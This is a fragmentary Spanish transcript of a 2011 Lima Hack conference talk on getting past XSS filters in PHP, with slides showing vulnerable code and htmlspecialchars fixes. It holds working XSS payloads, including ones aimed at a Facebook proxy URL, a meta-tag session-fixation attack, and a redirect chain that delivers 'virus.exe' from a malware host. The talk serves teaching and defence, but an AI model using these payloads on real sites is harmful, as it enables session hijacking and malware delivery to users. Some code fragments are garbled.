Lima hack 2011

Camilo Galdos Ayala AkA Dr.White PHPero de <3

aula Steve Jobs Camilo Galdos AkA Dr.White Bypassing Xss Filters ¿Sentiste alguna vez que no había Vulnerabilidad alguna en un sitio web?Hoy te enseñaré como saltar filtros para Expl0tar Xss :)

¿Xss? Cross Site Scripting , básicamente es un tipo de (in)seguridad Informática mediante la cual podemos ejecutar códigos de script ya sea JavaScript o VBScript.

A la Acción y .

$_GET[‘vuln’];Explotando Xss en variables por Método Get:http://platform.ak.fbcdn.net/www/app_full_proxy.php?app=7146470109&v=1&size=o&cksum=221e4d237b450662edc3b7c73b4f54ee&src=http%3A%2F%2Fi55.tinypic.com%2F29y02nr.jpghttp://platform.ak.fbcdn.net/www/app_full_proxy.php?app=7146470109&v=1&size=o&cksum=221e4d237b450662edc3b7c73b4f54ee&src= http%3A%2F%2F3.bp.blogspot.com%2F-fZREhbOB7fY%2FTnDcigl9ubI%2FAAAAAAAAASo%2FG0aFyPYcfrY%2Fs320%2Flimahack2011.jpg

Código Fuente <img src = “http://3.bp.blogspot.com/- fZREhbOB7fY/TnDcigl9ubI/AAAAAAAAASo/G0aF yPYcfrY/s320/limahack2011.jpg” />

Firewall Detected http://platform.ak.fbcdn.net/www/app_full_proxy.php?a pp=7146470109&v=1&size=o&cksum=221e4d237b4506 62edc3b7c73b4f54ee&src= http%3A%2F%2Fkarebu.com%2Fimages%2Flogo%2Fdark %2FLogotipo2.png

Usando el… “Sentido Hacker”http://platform.ak.fbcdn.net/www/app_full_proxy.php?app=7146470109&v=1&size=o&cksum=221e4d237b450662edc3b7c73b4f54ee&src= http%3A%2F%2F3.bp.blogspot.com%2F-fZREhbOB7fY%2FTnDcigl9ubI%2FAAAAAAAAASo%2FG0aFyPYcfrY%2Fs320%2Flimahack2011.jpg”<img src = “http://3.bp.blogspot.com/-fZREhbOB7fY/TnDcigl9ubI/AAAAAAAAASo/G0aFyPYcfrY/s320/limahack2011.jpg” focus();“ />

Tan Simple como… ¡Xssed!

Ahora por dentro… Fixing<?php - Str_replace();$v = $_GET*‘var’+; - htmlentities();?> - proper_func(); - etc();____________Repaired______________<?php$v = htmlspecialchars($_GET*‘var’+);?>

$_POST[‘vuln’];Bueno ahora toca expl0tar por el lado del método POST, en estecaso las variables están ocultas no las vemos a menos queusemos una tool puede ser Live Http Headers pero el bug sigueestando en un .php único.http://exploitingexample.com/load.php  Ese será el ejemplo.

Código Fuente$name = $_POST[name];<input name=“name" id=“name" type="text"class="inputbox" alt="nombre" size="18" />Echo $name;

Fixing…$name = htmlspecialchars($_POST[name]);En un Form no deben escribir nunca los datos queingresaron en un txt y para validación, Usen Jquery.

$_SERVER[PHP_SELF]<form action="<?=$_SERVER[PHP_SELF]?>" method=POST> http://mybugsweb.com/contacto.php

¿404?http://mybugsweb.com/contacto.php<script>alert(1);</script> http://mybugsweb.com/contacto.php/”><script>alert(1);</s cript>

Fixing!<form action=“Contacto.php" method=POST><form action="" method=POST> if(isset($_POST[contactar]))

A Volvernos Malos >:) http://mybugsweb.com/contacto.php/"><meta http- equiv=Set-Cookie content=sesfix=unmd5();; Expires=Tuesday,15-Nov-2012 00:0 0:00 GMT”; domain=.bugged.com> Session Fixation!!! Se Loguea y PWNED

A Volvernos Malos >:)http://platform.ak.fbcdn.net/www/app_full_proxy.php?app=7146470109&v=1&size=o&cksum=221e4d237b450662edc3b7c73b4f54ee&src=http%3A%2F%2Fmalwaremaker.com%2Fvirus.jpg redirect 301 /virus.jpg /virus.exehttp://www.facebook.com/l.php?u=http://www.facebook.com/l.php?u=http://platform.ak.fbcdn.net/www/app_full_proxy.php?app=7146470109&v=1&size=o&cksum=221e4d237b450662edc3b7c73b4f54ee&src=http%3A%2F%2Fgoogle.com%2logo.jpg”focus();&h=bAQFltC-7AQGdPe9w-LWlzh7JWFqTsIqGeW2octoqiMV4sg

A Volvernos Malos >:)Uno persistente…Por Post… Taringa…Vean el Video conAtención.

Gracias por participar muy pronto estamos en provincias para más información ingresa a nuestra webEn el 2012 mucho más de nosotros… Camilo_galdos@live.com – @SeguridadBlanca

http://seguridadblanca.blogspot.com	2271
http://www.seguridadblanca.blogspot.com	147
http://feeds.feedburner.com	51
http://seguridadblanca.blogspot.mx	31
http://seguridadblanca.blogspot.com.es	28
http://seguridadblanca.blogspot.com.ar	15
http://seguridadblanca.blogspot.se	5
http://translate.googleusercontent.com	3
http://us-w1.rockmelt.com	3
http://seguridadblanca.blogspot.com.br	2
http://www.seguridadblanca.blogspot.mx	1
http://seguridadblanca.blogspot.in	1
http://www.seguridadblanca.blogspot.com.ar	1
http://www.seguridadblanca.blogspot.com.es	1

Lima hack 2011

by Dedalo-SB on Nov 07, 2011

Accessibility

Categories

Upload Details

Usage Rights

14 Embeds 2,560

Statistics

Lima hack 2011 — Presentation Transcript